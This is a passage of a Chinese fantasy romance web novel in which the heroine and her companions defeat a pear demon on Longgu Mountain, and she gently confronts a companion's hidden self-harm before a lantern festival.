谢怜眼眶通红,垂下头去,落败地望着茶盏映出的自己的模样。
“不过后来,沈俞写了信,邀约愿儿去龙骨山。”
“龙骨山?”
苏锦锦声音急促起来,这座山她再熟悉不过,虽说对原剧情囫囵吞枣,但对这座山印象颇深。
毕竟,这座山还是男女主增进感情线的重要转折点。
原著中,正是林怀烟因救苏锦锦被梨妖所伤,苏沐风日夜照顾,这才增进了感情。
苏锦锦蹭的站起身,匆匆朝谢怜行了个礼:“多谢谢公子今日所言,我们还有要事在身,今日先离开了。”
因着她的动作,卷起了一地梨花,谢瑜眼眶湿润,模糊间与多年前的那道身影融和。
那道身着雪白衣裳的少女,正坐在梨花树下,握着一卷诗书,笑靥如花,同他打着招呼。
“谢公子好呀。”
谢怜眨了眨眼,晶莹的泪花不断闪烁。
那道熟悉的身影骤然消失,只剩苏锦锦小跑的背影。
可她,终归不是她。
“无妨,也多谢苏小姐。”
苏锦锦驻足脚步,回眸凝重地望着谢瑜的神色,有些迟疑。
谢瑜抬袖擦了擦泪,眼角泛着泪花,闪着剔透晶莹的光。
“谢谢苏小姐今日所言,让我敞开心扉接受了过往云烟。”
苏锦锦眼波流动,随即露出一抹笑,点了点头飞奔回了方府。
越过府门,急急匆匆差点撞上一个身影。
苏锦锦抬眸,跌入一双熟悉的黑眸。
时晏清一双熟悉的桃花眼正似笑非笑地看着她,语气极温柔,吐出的字字却向毒舌吐着蛇信子。
“苏小姐这么急促,是约了哪家公子。”
苏锦锦早已对时晏清的冷嘲热讽习以为常,露出一抹还算得体的笑,挥了挥手。
“正急着呢,约了时公子。”
苏锦锦语毕,跨过时晏清奔向了苏沐风二人。
时晏清愤愤盯着跑远的身影,手腕上的伤痕隐隐作痛,却不及内心的那股酸涩。
苏锦锦同几人道了今日谢府谢公子的一番话,林怀烟面上的笑渐渐淡了下去。
“我们全想错了。”
苏沐风淡淡道,好似只是在陈述着一个事实,却叫人不寒而栗。
“方愿儿的怨气根本不是对着方府,而是沈俞!”
苏沐风摩挲着下巴的手陡然放了下来,眼神透漏出希冀的光。
春风柔柔地吹,梨花纷纷地撒。
林怀烟望着躺在地上的片片梨花,缓缓开口:“而方愿儿只是放心不下她的家人,故而应了梨妖的要求,化作人形前往方府再见她的爹娘最后一面。”
林怀烟顿了一下,坚定的一双黑眸缓缓望着澄澈的天。
“今夜,我们便去龙骨山。”
21. 转折
姑苏的风柔柔地拂过耳畔,惹得心里暖暖的。
几人从方府悄然离开,靠着一双腿走向几里外的龙骨山。
龙骨山坐落于姑苏城西边,离方府也有一段距离。
好在这几日的徒步,苏锦锦的体力已恢复许多,并未过多不适。
眼前的一番景象被白烟笼罩着,如烟如雾,迷蒙着看不清。
苏沐风引着路,苏锦锦提着小油灯跟在两人身后,时晏清则跟在苏锦锦身后,时刻关注着这一切。
“林姐姐,这龙骨山怎么阴森森的呢?”
语毕,一股寒风顺着苏锦锦的话适时地吹来,惹得她打了个寒颤。
“龙骨山上生长着大妖,故而如此,”林怀烟顿了一下,回眸望着苏锦锦,眼神中带了几丝安慰,“不用怕,跟在我们身后便好。”
苏锦锦点了点头,握着小油灯的手愈发紧了些。
迷雾消散,眼前露出一座巍峨的山矗立在此,如巨人般俯视着来人,仿佛在嘲笑着几人的不自量力。
树林阴翳,越往深处光线越暗。
龙骨山地势险峻,人迹罕至,也不知五年前方愿儿怎傻到同沈怜来这个鬼地方私奔的。
夜幕低垂下来,苏锦锦头脑有些混沌,眼皮已在打架,摇了摇头,试图让自己清醒几分,却未起任何作用,可信念支撑着她脚步未停。
龙骨山上的风阴冷刺骨,穿透了衣裳,拂过耳畔带过丝丝凉意,吹散了苏锦锦仅剩的一点睡意。
苏锦锦拍了拍手,化困意为斗志,跟着几人向上爬。
树枝斜斜地趴下来,有的盖住了前方的路,便只能用手剥开。
已是五月,本是鸟语花香,绿草如茵的季节,可龙骨山四季如秋,泛着渗人的凉意。
枯黄的树枝上存着潮意,挂着几片摇摇欲坠的叶子。
“现在不是夏天吗?这龙骨山怎像秋天一般。”
苏锦锦拨开枯树枝,又小心翼翼问道。
林怀烟走在前头,一边拨开粗糙的枯树枝一边回答道:“梨妖生长在龙骨山之上,看来已吸收了这山里的大半精气。”
“所以呀,梨妖才会引诱人到龙骨山,以便来吸收精气。”
苏锦锦弯着腰,迈着碎步走过树枝,孤零零趴在地上的落叶发出粉身碎骨的声音。
“好吧。”
刚跨过去,便听见身后传来惊呼。
苏锦锦下意识回头,时晏清已熟稔地收敛起面上的情绪,背着手,波澜不惊。
苏锦锦眯了眯眼,后退两步,已走到时晏清身侧。
趁他不备之际,苏锦锦扯过时晏清的左臂,撩开外袍,新旧密密麻麻的伤痕布满整条胳膊。
最新鲜的一道伤痕划开的不整齐,同那些旧伤一般混在其中,泛着鲜血,苏锦锦下意识皱起了眉。
确诊了,自残倾向。
时晏清扯过小臂,用衣袍堪堪盖住,便起身大步往前走。
“跟你有关系吗?”
带着些被戳穿的怒意,时晏清走得很快,不再如往常般照顾苏锦锦的脚步。
苏锦锦鼓了鼓嘴,在心里默默地和系统嘀咕着:“这时晏清怎地动不动就生气。”
滋滋的电流声通过,熟悉的少女音再度响了起来。
【可能人家不想让你看到自己落败的一面吧】
苏锦锦眸中闪过一丝讶异与惊喜。
平日里自己与系统对话多半是自问自答,如今难得心情好回了自己几句。
苏锦锦小跑几步,在后头追着时晏清,用双手张成喇叭状喊到:“时晏清,别再划啦,不开心哭一场就好啦——”
林怀烟一手握着树枝,同苏沐风在前方探路,猛的听见熟悉的少女音,下意识回头以为苏锦锦有了不测。
苏沐风先一步扯过林怀烟的小臂,笑着点了点头:“别管啦,锦锦同阿清在一起呢。”
林怀烟也露出一抹温柔的笑,向着苏沐风点了点头,两人继续向前走。
时晏清确确实实听见了那清脆悦耳的少女音。
随着少女的动作,脖颈的白玉项链碰撞着发出叮叮咚咚的响声。
时晏清只觉这小女孩烦得很。
自己已经百般刁难,这小女孩怎么这么坚持不懈,精力充沛,自己恶语相向也觉无妨,反倒像只小麻雀般叽叽喳喳地围过来。
时晏清觉得苏锦锦就是麻雀,每日叽叽喳喳的。
还听不懂人话。
苏锦锦三两步跑过来,气喘吁吁的,走在时晏清身侧,歪着脑袋一边走一边看着他的表情。
时晏清眼神闪烁,大抵被看烦了,拎着苏锦锦的衣领转了半圈,背对着自己,放了下来。
“看路。”
苏锦锦垂下头,把玩着柳条手环,只低低的“哦”了一声,便慢悠悠地向前走。
时晏清渐渐放缓了脚步,对于刚才贸然的失礼心底涌上一股不适,又碍于面子动了动唇,却迟迟没开口。
龙骨山愈发寂静起来,凉意从指尖蔓延到脊髓,是钻心刺骨的寒意。
苏锦锦同时晏清在后头并排走着,树林伸出冒出不少小妖缠着两人。
几只缠住苏锦锦的脚踝,甩了两下却无动于衷。
时晏清的余光扫到身侧的少女,手中橙黄色的符纸砸向那几只难缠的小妖。
小妖碰到符纸,好似水珠碰到滚烫的锅,刹那间烟消云散。
大抵被弄得有些烦了,苏锦锦皱了皱眉,被时晏清敏捷地捕捉到。
“师傅说我是孤煞命格,生我那天有异象,易招邪祟。”
时晏清手下动作没停,替苏锦锦解决了最后几只缠着她脚踝的小妖。
他神色淡淡的,眸子深沉的似大海,看不出什么情绪。
苏锦锦转而笑出了声:“你还信这个呀。”
时晏清没再转头,黑眸中的情绪愈加深沉。
“时晏清?”
时晏清倔强地没再开口,苏锦锦又歪着头观察他的脸色。
“哈喽哈喽。”
时晏清微不可察地皱了皱眉,但似乎已经习惯了苏锦锦总说些他听不懂的话。
“你别生气了嘛。”
苏锦锦轻叹一口气,摇了摇头,装作一副释然的模样。
“命格都是世人胡诌的,人生是你自己的呀。”
周遭安静下来,时晏清抬眸,撞上苏锦锦笑意盈盈的眼眸。
按理说,她那双
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眸子本应楚楚可怜,此刻望着时晏清,泛着灼热的光,眼睛因着笑容弯了起来。
在这寂静的夜内,也显得明媚且张扬。
“而且我觉得跟你在一起很开心啊,我倒是觉得你是个福星。”
苏锦锦粉嫩的唇瓣张张合合,叽叽喳喳欢快地笑着,竟也悦耳起来。
苏锦锦晃了晃腿,粉红色的裙摆也因着动作晃动起来,好似翻涌的粉浪。
时晏清下意识攥紧了手,钻心的疼痛传来才得以清醒。
眼前的少女,已经不知不觉一点点挤进了他的生活。
“对不起。”
时晏清莫名其妙的话令苏锦锦摸不着头脑,又迟疑地询问出声:“啊?”
“没事。”
时晏清没再重复第二遍,垂下头继续向前探着路。
苏锦锦又喋喋不休地跟上来,得意地挑了挑眉:“你是不是对我有点愧疚了?”
“哎呀没事,我这么心胸宽广的人,不计较,不计较。”
时晏清轻笑出声,没再接下话。
*
星辰点点,悬在夜空,撒下的月光闪着碎银般的光芒。
四周寂静无声,唯独几人的脚步声格外刺耳。
几人的脚步声好似丢进湖中央的石子,泛着圈圈涟漪。
就连平日里叽叽喳喳的苏锦锦也难得沉默起来,秉着呼吸,一步步向上挪动着。
可越向上走,越陡峭,风越凉,不禁打了个寒颤,却顾不上其他,只得继续向前赶路。
枯枝败叶在寂静的山间沙沙作响,一丝光亮露在山顶。
一座六角小亭,灯火化开天际,与周遭的阴暗的气息格格不入。
苏沐风回眸示意几人,点了点头弯着腰向那光亮处寻去。
隐隐约约的笛声传来,好似在诉尽绵绵情谊,又好似在道尽离别哀戚。
“听得人后背凉飕飕的。”
苏锦锦在心里小声地和系统抱怨着。
【宿主眼前的就是梨妖了,可千万不能被笛声所蛊惑】
苏锦锦得意地挑了挑眉:“放心吧。”
那悠远绵延的笛声忽的停了,几人脚步猛的一顿,落叶咔嚓咔嚓地响着。
小亭六角翘起,好似张开双翼的鸟儿,坐落在粗壮的梨花树下。
梨花似雪,纷纷落下,好似一场浪漫的梦,在这枯枝败叶中成了最美妙的一处风景。
梨树枝干粗壮,得有百年之久,六角小亭中站着白衣少女。
风起,衣袂翩翩。
白衣少女宛如画中跳出来的仙女,手握着竹笛,温柔至极。
苏锦锦双手附上最近的树干,歪出半个脑袋,微微蹙了蹙眉。
那白衣苏锦锦认得,同梨鸢的如出一辙,正正印证了几人的想法。
白衣少女似乎感受到了几人的气息,随即如一缕青烟般隐没,独留小亭孤零零地泛着温和的光。
疑惑之际,几人相□□了点头,脚步挪动,匆忙上前,却不见白衣少女的人影。
正一筹莫展之际,脑海中熟悉的提示音再度响了起来。
【系统提醒:支线任务已开始,请宿主坐好准备】
【宿主加油】
22. 梨妖
梨花似雪纷纷而下,如一场虚无缥缈的梦,几人头顶传来窸窸窣窣的响声。
苏沐风敏锐地回眸,双眸微微睁大,箭步如飞,发丝也随动作在夜空中舞动,风声带过话音呼啸而过:“不好,是梨妖。”
身侧之人语速极快,苏锦锦呆愣愣地注视着眼前不断变幻的梨树,还未回过神来,身子已被悬在了半空。
失重感如浪潮般席卷而来,苏锦锦下意识想抓住身侧的东西,却抓到一阵风。
得了,每次献祭都是她。
苏锦锦认命般闭上眼睛,至少她还有系统,自己顶多就痛一会。
不过,原剧情不是林怀烟被梨妖抓住吗?
内心的系统似乎与苏锦锦有心灵感应般响起。
【介于宿主前几个副本表现良好,姑苏噩梦一案的重担便交给宿主喽】
【愿宿主再接再厉】
听闻此处,苏锦锦眨了眨干涩的杏眼,梨妖也随之张了口,声音尽数铺撒在苏锦锦的耳畔,似百爪挠心般的痛楚。
那梨妖的声线如方才笛声般可怖,似老妪般沙哑。
“这都是你们自讨苦吃的。”
那梨树变幻着,发出咯咯咯瘆人的笑声,树枝软塌塌趴下来,又直挺挺地拉着苏锦锦的衣领将她提起来几分。
“哇啊啊——”苏锦锦下意识喊出声,双腿不断扑腾着,宛如垂死挣扎的鱼,被人一下按在了案板上,动弹不得。
心跳如鼓。
苏锦锦下意识咽了下口水,捏了捏泛红的指尖,目光一瞬不瞬地盯着梨花编织的地面上。
地面上几人的身影越来越远,最终化作几个黑点。
梨妖提着苏锦锦的衣领,粗糙的树枝划过纤细的脖颈,将她翻了个身,正对着梨妖的模样。
“没想到你还挺聪明,我已说服方愿儿帮她化作七日人形,七日后便需被我所吞噬……”
那梨妖顿了顿,树枝剧烈摆动着,梨花簌簌落下,如狂风暴雨般席卷着大地。
“可惜了……”
“自作聪明,不自量力。”
苏锦锦一张秀气的脸上有些愠怒,一双杏眸带着些不甘地瞪着可怖的梨妖,随即吐出一口气,强迫自己镇静下来。
“你利用了方愿儿对亲人的思念,甘愿被你吞噬,难道你觉得你是多么聪明吗?”
“还是说,以这种的方式吸收精气,你又感到几分的光彩?”
眼前的少女不屑地轻笑出声,倒叫梨妖的怒意更甚几分。
月光如碎银般密密撒下,将梨树的影子拉成扭曲的形状。
梨妖的树枝又拽了拽苏锦锦的脖颈,将她提起来几分。
苏锦锦脖颈处已泛了红,狰狞的树杈划出一道鲜艳的血痕。
血珠像熟透的浆果,滴滴鲜血顺着脖颈的线条滴落入地面,染红了几朵雪白的梨花。
瞧见这副情景,林怀烟的心神已乱了套。
梨花如雨帘般簌簌飘落,落入地面变成一个个小梨妖,叫嚣着奔向几人,不断缠着几人。
苏沐风打心眼里是担心妹妹的,却因着这小妖的阻拦迟迟移不开身,只得眼睁睁望着梨妖挥舞着树枝向苏锦锦袭来。
林怀烟同苏沐风手中地符纸以肉眼可见的速度渐渐薄了下去。
橙黄色的符箓不断翻飞着,小梨妖被砸中,哀吼出最后一声,烟消云散。
灵狐也化作少女的模样,悬在空中,手腕翻飞,山顶的微风卷起缕缕发丝与鲜红的发带。
刹那间,梨妖爆发出哀吼,响彻云霄,惊起歇息的雀鸟,在寂静的夜中如同一道闷雷。
梨妖吃了痛,不自觉松了力道,苏锦锦还未从疼痛中缓过神来,便措不及防掉落下去。
时晏清屏气凝神对付着难缠的小梨妖,随着声音余光扫到身侧的少女,眼疾手快飞出一道符纸。
苏锦锦落地的速度渐渐慢了下去,瘫倒在梨花铺成的地面上,捂住胸口便开始剧烈咳嗽。
时晏清对付着身侧的小梨妖,语速又低又快,腰间的收妖葫又开始震动,深红色的葫芦爆发出耀眼的光。
时晏清因着方才上山的失血,引来的小梨妖加上山间不知名小妖多得很,不断攀上他的衣摆,也不过刹那间灰飞烟灭。
随着梨妖的哀吼,梨树倒了下去,粗壮的枝干爆发出巨大的威力,苏锦锦还未从虎口脱险中回过神来,却又被这威力猛地震了一下。
苏·年度最惨任务者·锦锦。
“系统?系统?”
苏锦锦内心不断咆哮着,风雨欲来。
【怎么了宿主?】
苏锦锦似乎被气笑了,指了指自己的脖颈,企图唤醒系统最后一丝的怜悯之心。
“你看我做这个副本,脖子都快掉了!”
系统好半晌没吭声,不知是在逃避问题还是已经掉线了。
“系统?”
“能不能补偿我一下啊。”
苏锦锦眨着一双无辜的杏眼,凄凄惨惨,宛如枝桠间摇摇欲坠的花瓣,惹人怜惜。
【介于宿主遭到伤害,本系统大发慈悲地准备为宿主提供“疼痛减伤”碎片,是否现在使用?】
“大发慈悲?”
苏锦锦嘴角抽动,又缄默半晌。
【那我没收了】
“要要要。”
苏锦锦点头如捣蒜,笑眼盈盈,又带动了脖颈处的伤口,倒吸一口凉气。
【已为宿主使用】
语毕,身上的痛楚消减不少,不过疲惫感席卷而来,苏锦锦便所幸躺在了地上。
树干内空空荡荡,只剩了一层躯壳,宛如被提携的傀儡,拦腰斩断,夜风吹拂过空荡的树干,发出悠扬的笛声。
笛声绵延,穿过空荡的小亭,直击每个人的心灵。
枝桠上的片片梨花也以肉眼可见的速度黯淡了下去,本争奇斗艳的梨花此刻如残花败叶,边角已经泛着枯黄。
苏沐风扶着林怀烟缓缓起身,手腕翻飞,与小梨妖搏斗中。
林怀烟手中的符纸用完,靠内力与信念同小妖殊死搏斗,宛如寒玉般的黑眸隐隐浮现出冷意。
灵狐又化作了一团小狐狸,刚落入地面,便迈着小碎步亦步亦趋地奔向倒在地上的苏锦锦。
一个鲜红身影已快步飞奔过去,并未给灵狐任何机会。
鲜红衣摆卷起地上的片片梨花瓣,遮挡住灵狐的视线,灵狐不得不停下脚步,又伸出爪子挥了挥眼前的梨花。
时晏清脚步匆忙,几乎是下意识飞奔而去,将
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倒在地上一蹶不振的苏锦锦扶起身来。
苏锦锦面色苍白,缓缓睁开一只眼睛,打量着时晏清,半晌才吐出两个字:
“没死。”
苏锦锦声线轻如羽毛,扫过时晏清的耳畔,又好似梦中的呓语。
苏锦锦脖颈迸发出鲜红的血珠,原本粉嫩的唇此刻也发白,很难不想到她可能时日不多了。
时晏清眼中翻涌的神色肉眼可见黯淡了下去,又因着自己方才不自觉的一丝担忧感到恼羞成怒,此刻想把苏锦锦扔在这深山老林中。
几人短暂喘口气后,便望着灰蒙蒙的天,打算下山。
苏沐风眉头微蹙,眉眼间尽显忧虑之色,刚想上前搀扶苏锦锦,便被时晏清抢先一步。
苏沐风伫立于原地,半晌反应过来,眉眼间染开笑意,搀扶住身侧的林怀烟。
半晌苏锦锦缓了缓神,已恢复如常,走在几人身后,后面还跟了只亦步亦趋的灵狐。
苏锦锦回眸望着灵狐神秘的异瞳,笑眯眯地弯了弯唇:“我看你平日捉妖时那么灵巧,怎么化作狐狸走路就如此笨拙?”
灵狐瞪了瞪圆眼,高高昂起头,活像只不服输的孔雀。
“我乐意!!”
苏锦锦面色的笑意更甚几分,眸中如一汪春水化开。
“哼。”
灵狐干脆瞥过头去,假意不理苏锦锦。
苏锦锦挑了挑眉,内心同系统嘀咕着:“信不信不出三秒它就来找我和好了。”
一阵滋滋的电流音通过,熟悉的系统终于连上了网。
【不能吧】
苏锦锦内心轻笑一声,伸出三根手指。
“三——”
“二——”
“一——”
身后传来灵狐干脆的声线与阵阵奔跑的风声。
“其实捉妖也不难的。”
苏锦锦蹲在地上,忍不住发出咯咯咯的笑声,双手捧过灵狐毛茸茸的脸,笑得直不起腰。
系统见此情景罕见地闭了嘴,默默地退了下去。
时晏清眸光淡淡,割碎了最后一丝柔情,身后的欢声笑语皆与他无关,眉眼间染上些躁意。
“苏锦锦。”
“嗯?”
她眸光似蝶翼轻颤,又如杏花染了晨露,欲说还休。
时晏清垂下睫羽,眸光闪烁,转瞬即逝。
“你没事了?”
少女还未反应过来,眸中雾霭沉沉,下意识反问出声。
“什么?”
时晏清并未有所回答,瞳色沉沉,移向苏锦锦脖颈处。
那道鲜艳的痕迹与白皙的脖颈形成了鲜明对比,煞是夺目。
方才有系统的加持下,并未感到太过疼痛,此刻才反应过来。
苏锦锦眉头紧锁,捂着自己的伤处,一副要死要活的模样不禁逗笑了几人。
“不行了疼死我了。”
“我不行了。”
时晏清抬起眼睫,眸光深深落在眼前活灵活现的少女身上,轻笑一声便背过身赶路。
苏锦锦摆了摆手,小跑几步招呼着灵狐上前跟去。
“时晏清。”
“时晏清?”
“你走的慢些啊!等等我啊——”
23. 细雨
细雨当空,如针般密密落下,淋湿了梨花树。
残花败叶掉落,独留几片梨花摇摇欲坠悬挂在枝头。
苏锦锦支撑着迷蒙的睡眼,强忍着困意裹紧了几分外袍,晃了晃脑袋紧跟在几人身后。
“好困啊。”
时晏清眼尾泛红,细雨模糊了他的神色,本就白皙的面庞也无了血色,步伐平稳且轻快地奔向方府。
细雨洇湿了苏锦锦的肩膀,凉意渐入骨髓,已是三更天,一股寒风吹拂,不由得哆嗦一下。
外袍已被蒙蒙细雨打湿,内里的襦裙若隐若现,泛着浅粉色。
睡意全无。
苏锦锦浑浑噩噩地向前迈着步子,又晃了晃脑袋,半个身子瘫在时晏清的肩膀。
“不行了,不行了,我走不动了。”
苏锦锦声音轻柔地像羽毛,扫过时晏清的耳畔,惹得心里痒痒的。
时晏清猛地一震,黑眸暗流汹涌,未曾言语,一手搀扶着苏锦锦。
小雨淅沥,模糊了方府的门牌,时晏清闪身,缓缓将苏锦锦放在床榻上,便快步向门口走去。
抬脚,又折返,替苏锦锦褪去了打湿的外袍,闪身回了隔壁的客房。
雨声密密的打在窗棂,令人安心,苏锦锦却窸窸窣窣的翻了身。
意识混沌,听着淅淅沥沥的雨声,却又想起什么,苏锦锦腾一下起身,脑袋彻底清醒起来。
雨夜,又是熟悉的雨夜。
时晏清咬紧牙关,熟稔的拿出被角下的匕首。
房间昏暗,熄灭的烛火泛着淡色烟雾,窗边传来响声,匕首猝不及防掉在床板上,发出沉闷的响声。
“谁?”
时晏清声线拔高几分,带着丝丝克制的颤抖与慌乱。
烛火复燃,昏暗的房间明亮起来,泛着暖意的光,令人安心。
突如其来的亮光使时晏清不由得怔愣一瞬,旋即飞快地藏起了床榻上的匕首。
一个毛茸茸的小脑袋浮现在眼帘,弯了弯水灵灵的杏子眼。
时晏清撇过头去,垂下睫羽掩盖住眸中的情绪,淡淡开口:“滚。”
苏锦锦并未因时晏清的三言两语而受挫,好像对这种对话习以为常。
匕首被时晏清藏在被角下,苏锦锦毫不顾忌地躺在时晏清的床上。
“有事吗?”
时晏清的语气冷淡且疏远,毫无温度。
比秋雨还冷。
苏锦锦从怀中掏出一个精致的小瓷瓶,又指了指自己脖颈狰狞的伤痕。
鲜血已经干涸,挂着晶莹的水珠,还未来得及擦干。
一道触目惊心的深红染在白皙的皮肤,格格不入。
苏锦锦仰着脸,一手将小瓷瓶推过去几分。
“帮我上下药嘛,我看不见。”
时晏清眼波流动,似深不见底的湖水,泛着圈圈涟漪。
苏锦锦又撇了撇嘴,眨着一双楚楚可怜的杏眼:“这要是留疤了,多不好看嘛。”
少年叹了口气,随即认命般爬起来,打开小瓷瓶替苏小姐上着药。
那脖颈纤细,好似一用力便能折断,记忆重叠,仿佛又回到了长安城的那个雨夜。
同样是雨夜,这个活灵活现的小姑娘便生硬地闯入了他的客房,瞧见了他最落败的一面。
她毫不掩饰地示好,对于他的恶语相向不以为意。
一次次的巧合,将他们的命运交织在一次,纠缠不清。
而一旁的苏锦锦倒不以为意,仰着脖子,一双杏眸滴溜溜的转,打量着屋内的陈设。
香炉升起袅袅青烟,散发着令人安心的香气。
时晏清隐忍到极致,雨夜的诅咒,令他身心俱疲,摇曳的烛火尽数点亮了他狼狈不堪的模样。
“苏小姐知道了诅咒的秘密,难道不怕我杀了你吗?”
苏锦锦身子向后仰去,毫不顾忌地躺在时晏清的床上,眨了眨干涩的杏眼。
她又在时晏清的床上打了个滚,好似两人在聊家常般。
“不会啊。”
时晏清紧紧攥着下垂的手,因着用力指尖微微泛白。
只一瞬,那双黑眸又黯淡了下去。
“因为我们是朋友呀。”
苏锦锦眸子亮晶晶的,眉梢见满是喜色,咯咯地笑起来。
她的明媚,令时晏清有些不适。
苏锦锦拉着时晏清毫不避讳地躺在床上,柔软的被褥好似轻柔的棉花,在心口铺上一层暖意。
方府规格较其他府来讲大很多,即便是客房,屋内的陈设也处处透露出精贵。
此刻客房的床两人平躺也不拥挤。
两双黑眸一眨不眨地望着天花板,就像幼时同朋友躺在床上畅想未来的生活一般。
“时晏清,其实有时候痛苦的解决办法不只是伤害自己。”
苏锦锦望着天花板,时晏清望着苏锦锦。
“你可以哭一场,或者找朋友倾诉,再或者大吃大喝一顿。”
时晏清有些好笑,苏锦锦这种闺阁小姐对任何事都抱有期待,看得美好。
不食人间烟火,也不知人间疾苦。
苏锦锦侧过身,眼睫轻眨,似蝴蝶扑簌簌地落在他的心底。
“你要相信,你也很好。”
【系统提醒:待攻略人物时晏清目前好感度:60%!!!】
【宿主再接再厉】
苏锦锦弯了弯唇,在一夜的奔走与疲惫下,安心地阖上眼帘。
身侧的少年侧着身,细细打量着少女的模样。
光洁的额头,如蝴蝶翩翩起舞般的睫羽,再到粉嫩的唇瓣。
美好且安心。
时晏清眼目光轻柔地如羽毛,生怕惊醒梦中人。
“生辰快乐。”
*
一夜无梦,时晏清没再伤害自己,那种钻心刺骨的疼痛却也渐渐淡了下去。
昨夜折腾半宿,几人歇息地太晚,再睁眼已是傍晚。
夜晚的梨花弥漫着丝丝缕缕地芬芳,伴着雨后泥土的青草香,透过窗棂,钻入衣领,萦绕在鼻尖。
屋内空无一人,若苏锦锦躺过的地方还残留着那缕若有若无的桃花香,他怕是要认为昨夜的情景只是自己的幻想。
甜腻,又美好,令人回味无穷。
他的心底好像空了一块,涌上来一股没来由的失落。
时晏清定定看着那个位置,迟迟未回过神来。
“你醒啦,时晏清。”
熟悉欢快的少女音在门口响起,苏锦锦笑得明媚张扬,眉眼弯弯,手
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里端着梨花木盘,朝着时晏清的方向微微晃了晃。
木盘上方不是精致的糕点,而是一碗精巧的蜜橘。
蜜橘小小的,泛着诱人的光泽,乖巧地整齐排列,躺在梨花木盘里。
苏锦锦嘴里还叼了个扒好皮的蜜橘,说话含糊不清。
苏锦锦将梨花木盘娴熟地放在床侧,随意搬了个木椅在塌边坐下。
时晏清坐起身,他并未束发,墨色长发乖顺地躺在他的肩头。
与往日意气风发的少年郎不同,此刻又多了几分俊俏。
他的视线从苏锦锦娇艳的面庞下移到梨花木盘上的蜜橘。
时晏清只怔怔地望着那盘蜜橘,迟迟没动手。
苏锦锦盯了他好半晌,一双杏眼灵动地转了转,拿起盘中的蜜橘,纤细的手指拨动,三两下就剥好了一个橘子。
苏锦锦的手好似一件完美的工艺品,恰恰她又喜欢用这双手拨弄些小玩意。
时晏清的目光落在苏锦锦的手上,那双粉白手掌间躺了个蜜橘。
“现在可以吃了吧。”
蜜橘仰着脑袋,好似欣喜地看着来人。
不过反派就是反派,时晏清点了点头,毫不留情地吞了下去。
苏锦锦一脸挫败地看着空空如也的掌心,时晏清看着眼前人的神态竟莫名的好笑。
苏沐风轻叩房门,清脆的响声扰乱了两人的思绪:“阿清,锦锦,用晚膳了。”
苏锦锦拍了拍手,想起今日已是来来方府的第三日,今日也就是花灯节。
这也算是她来到这个世界过得第一个生日。
想到这,苏锦锦开心地拍了拍手,朝着苏沐风的方向跑了过去。
“来啦。”
清甜的少女音回荡在整个屋子里,时晏清一双黑眸怔怔地望着那盘精巧的蜜橘,眸中闪过一丝不易察觉的失落。
时晏清的皓腕骤然被拉住,顺着视线移动到另一双带着柳条手环的腕上。
柳条打着卷,耷拉着脑袋,一副病恹恹的模样,却丝毫减却不了少女的活力生机。
“哎呀,快走了呀,今天有花灯节,你忘了吗?”
时晏清这才缓缓下了床,整理好才走出门。
一路上,苏锦锦垂着头,眉眼间尽是忧心忡忡。
虽然几人已经得知梨鸢便是方愿儿的化身,但见方无池与方夫人似乎并没有看出来梨鸢身份的模样。
自己到底要不要多着一嘴。
苏锦锦眉头紧锁,不停地摩挲着指尖,肩膀却被轻轻拍了一下,吓得跳了起来。
“吓死我了。”
林怀烟瞧见苏锦锦这副模样,向后躲了一下,才安抚般地摸了摸苏锦锦的后背。
“想什么呢,这么紧张。”
苏锦锦扶了扶胸口,神色才放松下来。
“没什么事。”
“就是我们要不要告诉方夫人和方无池梨鸢的身份。”
“毕竟他们也很爱自己的女儿吧。”
苏锦锦声线甜美,带着些淡淡的忧虑。
林怀烟挽起苏锦锦的小臂,眸中温润,似月下海棠:“有些事,不用我们来说。”
苏锦锦皱了皱眉,更是不解:“什么意思啊?”
“可能他们早就认出来了呢?”
24. 花灯
月色朦胧,檐角风铃轻轻摇晃,清脆的响声回荡在整个方府。
几人进了屋,方无池怀中正抱着方姝,见几人进屋便招呼着几人落座。
“几位休息的可好?”
“多谢各位昨夜收服梨妖,换得我们这姑苏城安宁。”
林怀烟与苏沐风连连摆手:“没有没有,这都是我们应该做的。”
苏锦锦四处张望,却没瞧得见方夫人与梨鸢的身影,不由得疑问出声。
“方夫人和梨小姐呢?”
方无池勾了勾唇角,眼尾的褶子内蕴含着笑意。
“今日便是姑苏的花灯节,夫人念着梨小姐从长安城远道而来,没什么漂亮衣裳,便进里屋替她择衣裳去了。”
话音刚落,珠帘转动,发出清脆的响声。
方夫人言笑晏晏地推着梨鸢出了屋。
与往日清冷矜贵的她不同,今日梨鸢身着一件淡蓝色衣裳,墨色长发用同色系的的簪子挽起。
活脱脱高岭之花落入凡尘。
梨鸢对这身打扮些许不太适应,不自觉地攥紧了衣角,眸光不自觉乱瞟。
方夫人双手搭在梨鸢的肩膀上,叫她不要紧张。
“梨姐姐今天好好看呀。”
方姝骤然挣脱了方无池的怀抱,亦步亦趋地小跑向梨鸢,牵住她下垂的手。
方无池望着空空如也的怀中,失笑出声。
几人落座,方姝又爬回方无池的怀里。
方无池点点头,示意各位动筷。
一股浓郁的蟹香钻进苏锦锦的鼻腔,夹起一个,蟹黄汤包摇摇晃晃,内里的汤汁藏着美味的秘密。
林怀烟又多夹了几个汤包放进苏锦锦的碗里,眸子内藏着柔情。
念着灯会上的美食,苏锦锦吃了几个便从怀中掏出帕子擦了擦嘴。
“我吃好了。”
身侧传来一声轻笑,苏锦锦顺着笑声的源头,目光落在时晏清打趣般的面庞。
“笑什么?”
少女声线甜美,带了一丝嗔怪的意味。
“不像苏小姐的风范啊。”
苏锦锦深吸了一口气,内心不断重复念着:
“他是反派,他不正常,我不生气,我不生气……”
苏沐风含着笑,望着几人的方向挥了挥手:“阿清莫要打趣锦锦了,换身衣裳一会去逛灯会吧。”
方无池怀中抱着方姝,一只手朝向几人挥了挥。
“对,对,灯会上还有小食,先换身衣裳吧。”
苏锦锦拉过林怀烟的皓腕,没再分给时晏清一个眼神,大步向外走。
“锦锦,锦锦。”
“等一下。”
苏锦锦走得有些急,林怀烟只好被她拽着走,还未反应过来。
时晏清伸出手,想抓住苏锦锦,却落了个空,只好讪讪收回手。
*
苏锦锦拉着林怀烟来了客房,打开衣柜,一股江南的潮湿味扑面而来。
“看看今天穿什么好呢……”
作为镇远侯府二小姐,整个府上众星捧月的存在,锦锦的衣裳可谓花里胡哨,各色各样,叫林怀烟一时间看愣了眼。
苏锦锦一头扎了进去,不断翻找着。
半晌,一个毛茸茸的小脑袋收了回来,手中拿了件芋紫色的衣裳,朝着林怀烟的方向晃了晃。
“这件怎么样?”
苏锦锦一双杏眼眨了眨,隐隐的带了些期待。
林怀烟愣在原地,有些无措。
